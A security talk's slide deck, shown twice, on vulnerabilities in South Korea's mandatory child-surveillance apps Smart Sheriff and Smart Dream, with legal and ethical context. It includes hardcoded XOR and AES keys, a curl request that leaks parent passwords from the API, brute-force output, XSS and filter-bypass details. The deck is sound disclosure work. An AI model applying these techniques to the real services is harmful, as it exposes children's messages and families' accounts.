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Smart Sheriff,
Smart Sheriff, Dumb Idea
Smart Sheriff, Dumb Idea
The wild west of government assisted parenting
presented by:
Abraham Aranguren - @7a_
Fabian Fäßler - @samuirai
A story about a Korean law…
• Some background information
• Case MOIBA: Smart Sheriff, Smart Dream
• Case mobile operators: KT, LGU, +SKT
• What now?
„In the end we hope you share our disbelieve“
Takeaways from this talk
• Insight into South Korean culture and politics
• Some basics in Android reversing
• Difficulties with the ethics of disclosing issues
Who are we?
Abraham Aranguren (@7a_) - blog.7-a.org
OWASP OWTF Project leader - owtf.org
abraham@cure53.de


Fabian Fäßler (@samuirai) - smrrd.de 

Student at TU Berlin
fabian@cure53.de
Cure53 is led by handsome Mario Heiderich (@0x6D6172696F).

Bullshit free pentests, sometimes public ☺
https://cure53.de/#publications
Why did we do this?
OpenNet Korea brought this to Citizen Lab
http://opennetkorea.org/
Citizen Lab, Toronto
"Citizen Lab Summer Institute on Monitoring Internet
Openness and Rights 2015“
http://citizenlab.org/
Open Technology Fund supported it
https://www.opentech.fund/
Once upon a time…
… in a country far far away.
South Korea – Smartphone Usage
% Total population % 18-34 y/o population
Source: Spring 2015 Global Attitudes survey. Q71 & Q72.
… the country with the highest Smartphone usage on the planet!
South Korea – Child Protection Laws
Article 32, Section 7 of Korean Telecommunications
Business Act
mobile network operators have to provide adult content
filtering service for legal minors
…
Introduced 15.10.2014
South Korea – Child Protection Laws
Article 32, Section 7 of Korean Telecommunications
Business Act
mobile network operators have to provide adult content
filtering service for legal minors
…
Introduced 15.10.2014


Introduced 14.04.2015
Implementation Details Article 37, Section 8
Notify children and parents about features of the blocking
Monthly notification if the blocking means was deleted or
had not been operated for more than 15 days
…
South Korea – Mandatory apps
Mandatory installation of a surveillance app when the
phone is purchased for a teenager.
South Korea – Mandatory apps
Mandatory installation of a surveillance app when the
phone is purchased for a teenager.
No opt-out.
South Korea – Mandatory apps
Photo: Lee Jin-man/Associated Press
Mobile Internet Business Association (MOIBA)
The Korean Communications Commission (KCC) gave MOIBA
USD $2.7 million to create these mandatory apps
MOIBA - Smart Sheriff / Smart Dream
MOIBA created 2 mobile apps
Smart Sheriff

(mandatory)
Smart Dream

(additional service)
Alternative Korean Child Protection Apps
• KT Corporation: https://
play.google.com/store/apps/details?
id=com.kt.ollehkidsafe
• SKTelecom: https://
play.google.com/store/apps/details?
id=com.skt.thug.hazard
• LG U+: https://play.google.com/
store/apps/details?
id=com.lguplus.cleanmobile
Smart Sheriff: Parent vs. Child mode
• Operating mode chosen on first usage
• Parent-Mode: Smartphone usage management
• Child-Mode: For filtering and activity monitoring
Parent Child
Smart Sheriff: Block phone access
Parents can deny phone
access for certain times
for the child
Smart Sheriff: Installed apps
See installed apps on
child’s phone and deny
or enable access to
them.
Smart Sheriff: Websites
Manage/Block access to
websites.
Implemented in the app,
but not usable by parent.
Sensitive Data – Smart Sheriff (+others)
• Family Association (Parent – Child)
• Children‘s names, birthdays
• Installed apps and usage statistics 

(time browsing or playing games)
• Visited/Blocked URLs
Smart Dream
• Private SMS and KakaoTalk messages (!)
Round 1 – Setup Challenges
Language Barrier
WTF DOES THIS?
unpack, translate,
repack with apktool
http://ibotpeaches.github.io/Apktool/
Language Barrier
http://ibotpeaches.github.io/Apktool/
unpack, translate,
repack with apktool
Language Barrier
Unfortunately …
strings.xml is not
enough for a app
because WebViews
Language Barrier
Language Barrier … Google Translate
  

  move-result-object v0
  const-string v1, "SAMU"
  invoke-static {v1, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
private static final String TAG = "SAMU";
Log.i(TAG, result);
Debugging
Patching debug messages in smali code for logging
Round 1 – Shoot
String url = "http://ssweb.moiba.or.kr/pushAlarm";
WebView webview = (WebView)findViewById(0x7f070000);
webview.getSettings().setJavaScriptEnabled(true);

webview.addJavascriptInterface(new JavaScriptInterface(),
"SmartSheriff");
webview.postUrl(url, obj);
var String = window.jsinterface.getSomeString();
// window.jsinterface.getClass().forName('java.lang.Runtime')
RCE with insecure WebView
Accessing Java methods from JavaScript in Android 2.4 to 4.1
SMS-01-001
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
String url = "http://ssweb.moiba.or.kr/pushAlarm";
WebView webview = (WebView)findViewById(0x7f070000);
webview.getSettings().setJavaScriptEnabled(true);

webview.addJavascriptInterface(new JavaScriptInterface(),
"SmartSheriff");
webview.postUrl(url, obj);
What is SSL?
SMS-01-003
String url = "http://ssweb.moiba.or.kr/pushAlarm";
WebView webview = (WebView)findViewById(0x7f070000);
webview.getSettings().setJavaScriptEnabled(true);

webview.addJavascriptInterface(new JavaScriptInterface(),
"SmartSheriff");
webview.postUrl(url, obj);
What is SSL?
SMS-01-003
Smart Sheriff – SSL v2.0
Fast forward to the fix…
https://api.moiba.or.kr/MessageRequest_New
Smart Sheriff – How to SSL like a pro
They switched to SSL for real O.o ?
SMS-01-003 No use of any SSL/TLS-based transport security FIXED?
Smart Sheriff – How to SSL like a pro
SMS-02-008
public final void onReceivedSslError(WebView
paramWebView, SslErrorHandler paramSslErrorHandler,
SslError paramSslError)
{
paramSslErrorHandler.proceed();
}
implements HostnameVerifier {
public final boolean verify(String paramString,
SSLSession paramSSLSession)
{
return true;
}
SMS-01-005
"]5ZWSVAB5]" "05555215554"
• But SSL is not necessary, when you do your own crypto Layer…
moibagtwigsystemsfightinghhhkkkkok
moibagtwigsystemsfightinghhhkkkkok
SMS-01-005
"]5ZWSVAB5]" "05555215554"
XOR Key: mx00oibagtwx00igsystex00msfightx00inghhhkx00kkkok
Smart Sheriff – Crypto v2.0
Fast forward to the fixes…
"+yld3N...aVIjqteA==„ { “action”:”CLT_MBR_GETCL...
"MOBILE":"3ZP[QVDC6]UK@JC",
"DEVICE_ID: ... }
moiba1cybar8smart4sheriff4securi
SMS-01-012
• MOIBA added more crypto…
"+yld3N...aVIjqteA==„ { “action”:”CLT_MBR_GETCL...
"MOBILE":"3ZP[QVDC6]UK@JC",
"DEVICE_ID: ... }
moiba1cybar8smart4sheriff4securi
SMS-01-012
• Useless AES layer with static key
API Design
SMS-01-012
request="+yld3N...aVIjqteA=="
{ "action":"CLT_MBR_GETCL...
"MOBILE":"]5ZWSVAB5]",
"DEVICE_ID: ... }
"05555215554"
{"SYNC_APP_LIST":
{"BLCK_ACT_DIVN":[], ...
"CHILD_BIR_YMD":"20050105",
"CHILD_BLCK_GRADE":"2","PAS
SWORD":"****","DIVN":"CHILD
"}}
Fail SSL
Request Response
SMS-01-018
STORY TIME!
SMS-01-018
SMS-01-018
Smart Sheriff – Bully API
SMS-01-018
API
Smart Sheriff – Bully API
SMS-01-018
API
Smart Sheriff – Bully API
SMS-01-018
API
Smart Sheriff – Bully API
SMS-01-018
API
Smart Sheriff – Bully API
SMS-01-018
API
API response with the password (XORed)
Smart Sheriff – Bully API - Pass Leak
SMS-01-018
root@redstar-os $ curl -v -s 'http://api.moiba.or.kr/MessageRequest 
--data '{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"XXX", "MOBILE":"
5ZWSVAA5[",  "DEVICE_ID":"unknown" }'
> POST /MessageRequest HTTP/1.1
> Host: api.moiba.or.kr
> User-Agent: curl/7.48.0
> Accept: */*
> Content-Length: 141
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 141 out of 141 bytes
< HTTP/1.1 200 OK
< Date: Sun, 15 Oct 2015 17:05:20 GMT
< Server: Apache/2.0.65 (Unix) DAV/2 mod_jk/1.2.37
< Content-Length: 242
< Content-Type: text/plain; charset=euc-kr
<

{"CHILD_GRADE_TYPE":"","CHILD_BIR_YMD":"","MEMBER_YN":"Y","CHILD_BLCK_GRADE":"","PASSWORD":"
2]","PARENT_MOBILE":"5ZWSVAA5[","REGISTRATION_ID":"","DIVN":"PARENT"}
2] 1234
5ZWSVAA5[ 15555215652
Smart Sheriff – Bully API
SMS-01-018
Smart sheriff has so many users, you can find valid phone
numbers by just trying random numbers.
root@redstar-os $ python sheriff_raid.py
CHILD : 010XXXXXXXX - pw: 0879 -> parent number: 010XXXXXXXX
CHILD : 010XXXXXXXX - pw: 8493 -> parent number: 010XXXXXXXX
PARENT : 010XXXXXXXX - pw: 8493
PARENT : 010XXXXXXXX - pw: 0878
CHILD : 010XXXXXXXX - pw: 0878 -> parent number: 010XXXXXXXX
PARENT : 010XXXXXXXX - pw: 2580
CHILD : 010XXXXXXXX - pw: 2580 -> parent number: 010XXXXXXXX
CHILD : 010XXXXXXXX - pw: 2580 -> parent number: 010XXXXXXXX
PARENT : 010XXXXXXXX - pw: 5912
CHILD : 010XXXXXXXX - pw: 1004 -> parent number: 010XXXXXXXX
PARENT : 010XXXXXXXX - pw: 1004
Parent passwords. 4 digit strong!
Bruteforce numbers - Skip to 2:54
Smart Sheriff – Bully API - Fake usage
SMS-01-018
API
No authentication for the child application.
There is a DEVICE_ID as session cookie, but most API
endpoints simply accept the phone number to perform
updates.
Smart Sheriff – Bully API v2.0
Fast forward to the fixes…
Smart Sheriff – Bully API
SMS-02-009
API
Guess what happened using a different User Agent :D
SMS-02-010
API
No authentication for the child application.
You can still fake the phone usage (kid installs p0rn
app)
Smart Sheriff – Bully API v2.0
XSS
• SMS-01-008 Reflected XSS
on ssweb.moiba.or.kr via CHILD_MOBILE FIXED!
But…
• SMS-02-008 Reflected XSS
on ssweb.moiba.or.kr via H_TYPE ???!
You really screwed up when even Google indexes your vulns!
Why not? – Tomcat 6.0.29 (released 2009)
Block websites
function shouldOverrideUrlLoading()…
if(s.startsWith("market://") || s.startsWith("tel:")
|| s.startsWith("http") && !s.contains("ssweb.moiba.or.kr"))
SMS-01-002
blocked allowed :D
http://blocked.com http://blocked.com/?blah=ssweb.moiba.or.kr
Insecure Storage on SD card
Object obj = new File((new StringBuilder())
obj.append(Environment.getDataDirectory());
obj.append("/data/com.gt101.cleanwave/databases/SmartSheriff.db");
Object obj1 = new File(Environment.getExternalStorageDirectory(), "");
Unlicensed Fonts
„This font is made with the trial version of FontCreator.
You may not use this font for commercial purposes.“
Test and dev. snippets everywhere
{"a1":"!@#$%^&*()_+","a2":"/","a3":"
","a4":""","a5":"''''","a6":"aaa한글 테스트 ....aaa"}
http://api.moiba.or.kr/test/
http://api.moiba.or.kr/aaa/
http://api.moiba.or.kr/aaa2/
…
Test URLs:
Test and dev. snippets everywhere
http://220.117.226.129:8082 http://
hikdev.cafe24.com/demo-gcm-server
http://ssadm.moiba.or.kr/
<li><a href='/index'>관리자메인</a></li>
<li><a href='/subMain'>서브메인메인</a></li>
<li><a href='/harm/app/list'>유해정보관리</a>
<ul>
<li><a href="/harm/app/appList">앱관리</a></li>
<li><a href="/harm/site/list">사이트관리</a></li>
<li><a href="/harm/accept/acceptList_app">앱/사이트 접 관리</a></li>
</ul>
</li>
<li><a href='/member/admin/memberAdm'>가입자관리</a>
<li><a href='/minwon/minwonList'>민원관리</a>
<li><a href='/home/report/list'>홈이지</a></li>
</ul>
<p> <a href='/html/filelist.html'>디자인</a><br/><br/>
<a href='/minwon/minwonPushTest'>Push TEST</a><br/><br/>
<a href='/minwon/livePushTest'>Live Push TEST</a><br/>
<a href="minwon/logPushTest">log Push Test</a></br>
Big pile of
• XSS
• Leaking personal data over the API
• No authentication
• No Transport Security
• Even a SQL injection inside their mobile app for the .db
• ….
Seriously:
https://cure53.de/pentest-report_smartsheriff.pdf
https://cure53.de/pentest-report_smartsheriff-2.pdf
Citizen Lab publishes the report
MOIBA Press Release 1
MOIBA Press Release 2
Some media attention
… but reaction was a
bit underwhelming
„Thanks for the free pentest!“
It kinda backfired…
Did we just help improving surveilance software?
Citizen Lab publishes updated report
MOIBA reacts and pulls the app
News about the app removal
Time to celebrate!
But something is shady…
Did we fail?
Find the difference!
사이버안심존

(Cyber Safety Zone)
스마트보안관
(Smart Sheriff)
The old MOIBA
The new MOIBA
Web Interface – Cyber Safety Zone
Web Interface – Cyber Safety Zone
Smart Sheriff / Cyber Safety Zone
• MOIBA didn‘t deprecate the API
• MOIBA renamed the app
• MOIBA is trying to hide the issues
But what is up with Smart Dream?
The new MOIBA – Login for Parents
Smart Sheriff / Cyber Safety Zone Smart Dream
Smart Dream Nightmare
Parent Child
• Parent-Mode: Check messages and searches containing
dangerous words
• Child-Mode: Monitoring SMS/KakaoTalk and google
searches. installs as accessibility service
• Very clever solution - request accessibility permissions
• Abusing functionality intended for text2speech, …
How do they read KakaoTalk?
Web Interface – Smart Dream
Smart Dream Nightmare
Parent App
monitoring SMS
Parent Web Backend
Smart Dream Nightmare
XSS via SMS/KakaoTalk messages (no authentication)… and no SSL?
Register an account
Korean number needed. And wait for verification SMS…
Or simply change forms.auth_ok.value = "1"
Register an account
Fixed!?... you can still register via the App
Korean number needed. And wait for verification SMS…
Or simply change forms.auth_ok.value = "1"
+700k Messages from +55k Children
root@redstar-os $ python nightmare.py
### Messages from Child:
From: ".인터넷" (5)
1. [KakaoTalk] (violence/gang up): "투명성성인기회"
2. [KakaoTalk] (blackmail/money): "깡패?"
3. [KakaoTalk] (violence/맞다): "한!!국교!!„
4. [KakaoTalk] (blackmail/빌려달라): "보안어린이개방성사랑정?"
5. [KakaoTalk] (threat/kill): "성인성인괴상한해킹비밀한국성인강남스타일모바일„


From: ".사이버억압♡" (2)
1. [KakaoTalk] (rant/crazy girl acting as child): "투명♥♥"
2. [KakaoTalk] (abuse/fuck it): "비 밀사 이버비?밀번역 조 화정부 기 회개인 성 인 어린이정 ..."


From: "010XXXXXXXX" (3)
1. [SMS] (harass/desperate): "어린이강남스?타일인터넷"
2. [SMS] (harass/): "깡패구글괴상한"
3. [SMS] (harass/desperate): "부패교육감?"


From: ".사이버투♥" (3)
1. [KakaoTalk] (threat/kill): "해킹 평등"
2. [KakaoTalk] (harass/desperate): "자 기 검열보?"
3. [KakaoTalk] (violence/gang up): "강남스타일!!!"
Smart Sheriff, Dumb Idea, the wild west of government assisted parenting
The Most Offensive Slide :O
The 1086 "harmful" words that are monitored by smart dream
The Most Offensive Slide :O
The 1086 "harmful" words that are monitored by smart dream
Example words:
divorce, single parent,
remarriage, adoption,
earn money, multiculturalism,
menstruation, breast, stress,
I hate …, girlfriend, boyfriend,
break up, dating, lie, beer,
person/friend/guy/girl I like,
r-rated, sex, discrimination,
black history, going to school,
borrow, sarcasm, fanboy,
gangster, disability,
reporting to police, …
MOIBA‘s guide to fixing vulns
Lack of Authentication
Important parameters
will be encrypted with AES256
Hardcoded API key 1. Put API key into NDK binaries
2. Each user get‘s own key
XSS with messages
Before sending SMS message,
escape and replace special chars
Another big pile of
• XSS
• No SSL
• Lack of Authentication and Authorization
• Accessing stored messages and searches
• …
But what about the other apps?
But what about the other apps?
We love you too, Plantynet
DamnYouHackerwHAt1syoUrBENefitwhEnDeComPil2Th1saPpplEas2DOnOtd1sTurbUs
“Damn You Hacker what is your benefit when
decompile this app please dont disturb us”
Found as a string inside a Java class:
... guess why they don‘t want people looking
SKTelecom
SKT Corperation
• Encrypted/obfuscated application

implemented via native library
Defeat Obfuscation – Lame Strategy
• Encrypted/obfuscated application

implemented via native library
• Jeff from CitizenLab 

reverse engineered the binary
• AES key unwrapping
(RFC 3394)
• PBKDF2 HMAC
• AES ECB
Defeat Obfuscation – Cool Strategy
SKTelecom - Issues
• No HTTPS
• XSS
• Take a step back
• Imagine these apps were magically 100% secure
• Would you trust any company or government...
• ... to have a database with all that information?
• Phone usage statistics (times, apps)
• SMS/IM Messages
• Knowing family associations
• Names and birthdays
A note for reflexion
What is happening next?
• The Korean government proposed a new bill to make opt-out
possible
• OpenNet Korea submitted a constitutional complaint about the
law

! final decision in 2-3 years
• Should there be regulations for parental/child-protection apps?

! eg. no cloud service, only local
Reports
• [20 September 2015] Are the Kids Alright? Digital Risks to
Minors from South Korea’s Smart Sheriff Application -
https://citizenlab.org/2015/09/digital-risks-south-korea-
smart-sheriff/
• [1 November 2015] The Kids are Still at Risk: Update to
Citizen Lab’s “Are the Kids Alright?” Smart Sheriff report -
https://citizenlab.org/2015/11/smart-sheriff-update/
• [21 September 2015] Submission to the 113th Session of the
UN Human Rights Committee for Fourth Periodic Report of
the Republic of Korea - 

http://opennetkorea.org/en/wp/wp-content/uploads/
2016/03/INT_CCPR__KOR_OPEN_NETSmart-Sheriff.pdf
Some News Articles
• [19 May 2015] Don’t text ‘beer’ in Korea: Words that
trigger teen alerts - http://www.japantimes.co.jp/
news/2015/05/19/asia-pacific/dont-text-beer-korea-
words-trigger-teen-alerts/
• [16 June 2015] South Korea provokes teenage
smartphone privacy row - http://www.bbc.com/news/
technology-33091990
• [21 September 2015] Smart Sheriff child surveillance
app leaves South Korean kids vulnerable to hackers -
http://www.cbc.ca/news/technology/smart-
sheriff-1.3236682


Abraham Aranguren (@7a_) - abraham@cure53.de


Fabian Fäßler (@samuirai) - fabian@cure53.de
Reports: https://cure53.de/#publications
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Smart Sheriff, Dumb Idea, the wild west of government assisted parenting

  • 3. Smart Sheriff, Dumb Idea The wild west of government assisted parenting presented by: Abraham Aranguren - @7a_ Fabian Fäßler - @samuirai
  • 4. A story about a Korean law… • Some background information • Case MOIBA: Smart Sheriff, Smart Dream • Case mobile operators: KT, LGU, +SKT • What now? „In the end we hope you share our disbelieve“
  • 5. Takeaways from this talk • Insight into South Korean culture and politics • Some basics in Android reversing • Difficulties with the ethics of disclosing issues
  • 6. Who are we? Abraham Aranguren (@7a_) - blog.7-a.org OWASP OWTF Project leader - owtf.org [email protected] 
 Fabian Fäßler (@samuirai) - smrrd.de 
 Student at TU Berlin [email protected] Cure53 is led by handsome Mario Heiderich (@0x6D6172696F).
 Bullshit free pentests, sometimes public ☺ https://cure53.de/#publications
  • 7. Why did we do this? OpenNet Korea brought this to Citizen Lab http://opennetkorea.org/ Citizen Lab, Toronto "Citizen Lab Summer Institute on Monitoring Internet Openness and Rights 2015“ http://citizenlab.org/ Open Technology Fund supported it https://www.opentech.fund/
  • 8. Once upon a time… … in a country far far away.
  • 9. South Korea – Smartphone Usage % Total population % 18-34 y/o population Source: Spring 2015 Global Attitudes survey. Q71 & Q72. … the country with the highest Smartphone usage on the planet!
  • 10. South Korea – Child Protection Laws Article 32, Section 7 of Korean Telecommunications Business Act mobile network operators have to provide adult content filtering service for legal minors … Introduced 15.10.2014
  • 11. South Korea – Child Protection Laws Article 32, Section 7 of Korean Telecommunications Business Act mobile network operators have to provide adult content filtering service for legal minors … Introduced 15.10.2014 
 Introduced 14.04.2015 Implementation Details Article 37, Section 8 Notify children and parents about features of the blocking Monthly notification if the blocking means was deleted or had not been operated for more than 15 days …
  • 12. South Korea – Mandatory apps Mandatory installation of a surveillance app when the phone is purchased for a teenager.
  • 13. South Korea – Mandatory apps Mandatory installation of a surveillance app when the phone is purchased for a teenager. No opt-out.
  • 14. South Korea – Mandatory apps Photo: Lee Jin-man/Associated Press
  • 15. Mobile Internet Business Association (MOIBA) The Korean Communications Commission (KCC) gave MOIBA USD $2.7 million to create these mandatory apps
  • 16. MOIBA - Smart Sheriff / Smart Dream MOIBA created 2 mobile apps Smart Sheriff
 (mandatory) Smart Dream
 (additional service)
  • 17. Alternative Korean Child Protection Apps • KT Corporation: https:// play.google.com/store/apps/details? id=com.kt.ollehkidsafe • SKTelecom: https:// play.google.com/store/apps/details? id=com.skt.thug.hazard • LG U+: https://play.google.com/ store/apps/details? id=com.lguplus.cleanmobile
  • 18. Smart Sheriff: Parent vs. Child mode • Operating mode chosen on first usage • Parent-Mode: Smartphone usage management • Child-Mode: For filtering and activity monitoring Parent Child
  • 19. Smart Sheriff: Block phone access Parents can deny phone access for certain times for the child
  • 20. Smart Sheriff: Installed apps See installed apps on child’s phone and deny or enable access to them.
  • 21. Smart Sheriff: Websites Manage/Block access to websites. Implemented in the app, but not usable by parent.
  • 22. Sensitive Data – Smart Sheriff (+others) • Family Association (Parent – Child) • Children‘s names, birthdays • Installed apps and usage statistics 
 (time browsing or playing games) • Visited/Blocked URLs Smart Dream • Private SMS and KakaoTalk messages (!)
  • 23. Round 1 – Setup Challenges
  • 25. unpack, translate, repack with apktool http://ibotpeaches.github.io/Apktool/ Language Barrier
  • 27. Unfortunately … strings.xml is not enough for a app because WebViews Language Barrier
  • 28. Language Barrier … Google Translate
  • 29.   
   move-result-object v0   const-string v1, "SAMU"   invoke-static {v1, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I private static final String TAG = "SAMU"; Log.i(TAG, result); Debugging Patching debug messages in smali code for logging
  • 30. Round 1 – Shoot
  • 31. String url = "http://ssweb.moiba.or.kr/pushAlarm"; WebView webview = (WebView)findViewById(0x7f070000); webview.getSettings().setJavaScriptEnabled(true);
 webview.addJavascriptInterface(new JavaScriptInterface(), "SmartSheriff"); webview.postUrl(url, obj); var String = window.jsinterface.getSomeString(); // window.jsinterface.getClass().forName('java.lang.Runtime') RCE with insecure WebView Accessing Java methods from JavaScript in Android 2.4 to 4.1 SMS-01-001 https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614 https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
  • 32. String url = "http://ssweb.moiba.or.kr/pushAlarm"; WebView webview = (WebView)findViewById(0x7f070000); webview.getSettings().setJavaScriptEnabled(true);
 webview.addJavascriptInterface(new JavaScriptInterface(), "SmartSheriff"); webview.postUrl(url, obj); What is SSL? SMS-01-003
  • 33. String url = "http://ssweb.moiba.or.kr/pushAlarm"; WebView webview = (WebView)findViewById(0x7f070000); webview.getSettings().setJavaScriptEnabled(true);
 webview.addJavascriptInterface(new JavaScriptInterface(), "SmartSheriff"); webview.postUrl(url, obj); What is SSL? SMS-01-003
  • 34. Smart Sheriff – SSL v2.0 Fast forward to the fix…
  • 35. https://api.moiba.or.kr/MessageRequest_New Smart Sheriff – How to SSL like a pro They switched to SSL for real O.o ? SMS-01-003 No use of any SSL/TLS-based transport security FIXED?
  • 36. Smart Sheriff – How to SSL like a pro SMS-02-008 public final void onReceivedSslError(WebView paramWebView, SslErrorHandler paramSslErrorHandler, SslError paramSslError) { paramSslErrorHandler.proceed(); } implements HostnameVerifier { public final boolean verify(String paramString, SSLSession paramSSLSession) { return true; }
  • 37. SMS-01-005 "]5ZWSVAB5]" "05555215554" • But SSL is not necessary, when you do your own crypto Layer… moibagtwigsystemsfightinghhhkkkkok
  • 39. Smart Sheriff – Crypto v2.0 Fast forward to the fixes…
  • 40. "+yld3N...aVIjqteA==„ { “action”:”CLT_MBR_GETCL... "MOBILE":"3ZP[QVDC6]UK@JC", "DEVICE_ID: ... } moiba1cybar8smart4sheriff4securi SMS-01-012 • MOIBA added more crypto…
  • 41. "+yld3N...aVIjqteA==„ { “action”:”CLT_MBR_GETCL... "MOBILE":"3ZP[QVDC6]UK@JC", "DEVICE_ID: ... } moiba1cybar8smart4sheriff4securi SMS-01-012 • Useless AES layer with static key
  • 42. API Design SMS-01-012 request="+yld3N...aVIjqteA==" { "action":"CLT_MBR_GETCL... "MOBILE":"]5ZWSVAB5]", "DEVICE_ID: ... } "05555215554" {"SYNC_APP_LIST": {"BLCK_ACT_DIVN":[], ... "CHILD_BIR_YMD":"20050105", "CHILD_BLCK_GRADE":"2","PAS SWORD":"****","DIVN":"CHILD "}} Fail SSL Request Response
  • 46. Smart Sheriff – Bully API SMS-01-018 API
  • 47. Smart Sheriff – Bully API SMS-01-018 API
  • 48. Smart Sheriff – Bully API SMS-01-018 API
  • 49. Smart Sheriff – Bully API SMS-01-018 API
  • 50. Smart Sheriff – Bully API SMS-01-018 API API response with the password (XORed)
  • 51. Smart Sheriff – Bully API - Pass Leak SMS-01-018 root@redstar-os $ curl -v -s 'http://api.moiba.or.kr/MessageRequest --data '{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"XXX", "MOBILE":" 5ZWSVAA5[",  "DEVICE_ID":"unknown" }' > POST /MessageRequest HTTP/1.1 > Host: api.moiba.or.kr > User-Agent: curl/7.48.0 > Accept: */* > Content-Length: 141 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 141 out of 141 bytes < HTTP/1.1 200 OK < Date: Sun, 15 Oct 2015 17:05:20 GMT < Server: Apache/2.0.65 (Unix) DAV/2 mod_jk/1.2.37 < Content-Length: 242 < Content-Type: text/plain; charset=euc-kr <
 {"CHILD_GRADE_TYPE":"","CHILD_BIR_YMD":"","MEMBER_YN":"Y","CHILD_BLCK_GRADE":"","PASSWORD":" 2]","PARENT_MOBILE":"5ZWSVAA5[","REGISTRATION_ID":"","DIVN":"PARENT"} 2] 1234 5ZWSVAA5[ 15555215652
  • 52. Smart Sheriff – Bully API SMS-01-018 Smart sheriff has so many users, you can find valid phone numbers by just trying random numbers. root@redstar-os $ python sheriff_raid.py CHILD : 010XXXXXXXX - pw: 0879 -> parent number: 010XXXXXXXX CHILD : 010XXXXXXXX - pw: 8493 -> parent number: 010XXXXXXXX PARENT : 010XXXXXXXX - pw: 8493 PARENT : 010XXXXXXXX - pw: 0878 CHILD : 010XXXXXXXX - pw: 0878 -> parent number: 010XXXXXXXX PARENT : 010XXXXXXXX - pw: 2580 CHILD : 010XXXXXXXX - pw: 2580 -> parent number: 010XXXXXXXX CHILD : 010XXXXXXXX - pw: 2580 -> parent number: 010XXXXXXXX PARENT : 010XXXXXXXX - pw: 5912 CHILD : 010XXXXXXXX - pw: 1004 -> parent number: 010XXXXXXXX PARENT : 010XXXXXXXX - pw: 1004 Parent passwords. 4 digit strong!
  • 53. Bruteforce numbers - Skip to 2:54
  • 54. Smart Sheriff – Bully API - Fake usage SMS-01-018 API No authentication for the child application. There is a DEVICE_ID as session cookie, but most API endpoints simply accept the phone number to perform updates.
  • 55. Smart Sheriff – Bully API v2.0 Fast forward to the fixes…
  • 56. Smart Sheriff – Bully API SMS-02-009 API Guess what happened using a different User Agent :D
  • 57. SMS-02-010 API No authentication for the child application. You can still fake the phone usage (kid installs p0rn app) Smart Sheriff – Bully API v2.0
  • 58. XSS • SMS-01-008 Reflected XSS on ssweb.moiba.or.kr via CHILD_MOBILE FIXED! But… • SMS-02-008 Reflected XSS on ssweb.moiba.or.kr via H_TYPE ???!
  • 59. You really screwed up when even Google indexes your vulns!
  • 60. Why not? – Tomcat 6.0.29 (released 2009)
  • 61. Block websites function shouldOverrideUrlLoading()… if(s.startsWith("market://") || s.startsWith("tel:") || s.startsWith("http") && !s.contains("ssweb.moiba.or.kr")) SMS-01-002 blocked allowed :D http://blocked.com http://blocked.com/?blah=ssweb.moiba.or.kr
  • 62. Insecure Storage on SD card Object obj = new File((new StringBuilder()) obj.append(Environment.getDataDirectory()); obj.append("/data/com.gt101.cleanwave/databases/SmartSheriff.db"); Object obj1 = new File(Environment.getExternalStorageDirectory(), "");
  • 63. Unlicensed Fonts „This font is made with the trial version of FontCreator. You may not use this font for commercial purposes.“
  • 64. Test and dev. snippets everywhere {"a1":"!@#$%^&*()_+","a2":"/","a3":" ","a4":""","a5":"''''","a6":"aaa한글 테스트 ....aaa"} http://api.moiba.or.kr/test/ http://api.moiba.or.kr/aaa/ http://api.moiba.or.kr/aaa2/ … Test URLs:
